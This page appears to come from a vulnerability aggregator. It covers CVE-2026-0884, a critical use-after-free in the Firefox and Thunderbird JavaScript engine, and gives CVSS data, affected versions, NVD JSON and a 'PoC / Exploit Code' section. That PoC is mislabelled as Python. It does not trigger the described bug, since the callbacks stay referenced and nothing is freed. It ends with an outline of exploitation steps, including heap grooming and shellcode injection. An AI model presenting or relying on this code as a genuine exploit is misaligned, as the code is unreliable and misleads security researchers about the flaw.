Security Vulnerability Report
中文
CVE-2026-0884 CVSS 9.8 CRITICAL

CVE-2026-0884

Published: 2026-01-13 14:16:39
Last Modified: 2026-04-13 15:17:17

Description

Use-after-free in the JavaScript Engine component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 147
Mozilla Firefox ESR < 140.7
Mozilla Thunderbird < 147
Mozilla Thunderbird < 140.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-0884 PoC - Use-After-Free in JavaScript Engine // This PoC demonstrates the UAF vulnerability pattern in JS Engine function triggerUAF() { // Create objects that will be subject to GC let objects = []; // Phase 1: Create and hold references to objects for (let i = 0; i < 100; i++) { objects.push({ callback: function() { return this.value; }, value: i, buffer: new ArrayBuffer(1024) }); } // Phase 2: Store references in a way that creates dangling pointers let danglingRefs = []; for (let obj of objects) { danglingRefs.push(obj.callback); } // Phase 3: Clear objects and trigger garbage collection objects = null; if (globalThis.gc) { globalThis.gc(); } // Phase 4: Access dangling references - triggers UAF for (let ref of danglingRefs) { try { // This access may use freed memory let result = ref.call({value: 0x41414141}); } catch (e) { console.log('UAF triggered: ' + e.message); } } return danglingRefs; } // Trigger the vulnerability try { triggerUAF(); } catch (e) { console.log('PoC executed, check for crash: ' + e); } // Note: This is a simplified PoC pattern. Actual exploitation requires: // - Precise heap grooming // - JIT compilation manipulation // - Memory layout spraying // - Shellcode injection via vtable/coroutine manipulation

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0884", "sourceIdentifier": "[email protected]", "published": "2026-01-13T14:16:38.950", "lastModified": "2026-04-13T15:17:17.393", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the JavaScript Engine component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7."}, {"lang": "es", "value": "Uso después de liberación en el componente del motor JavaScript. Esta vulnerabilidad afecta a Firefox &lt; 147, Firefox ESR &lt; 140.7, Thunderbird &lt; 147, y Thunderbird &lt; 140.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "A2FC50B3-5A36-4702-8CF6-CC732E3B148B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "E06AF540-011D-4249-9815-3A4609DD26D1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.7.0", "matchCriteriaId": "BFBAB968-3244-4970-8D02-CCF9D5FB958D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:-:*:*:*", "versionEndExcluding": "147.0", "matchCriteriaId": "47B67C0A-B05F-4212-9255-0446302237A5"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2003588", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-01/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-03/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-04/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-05/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}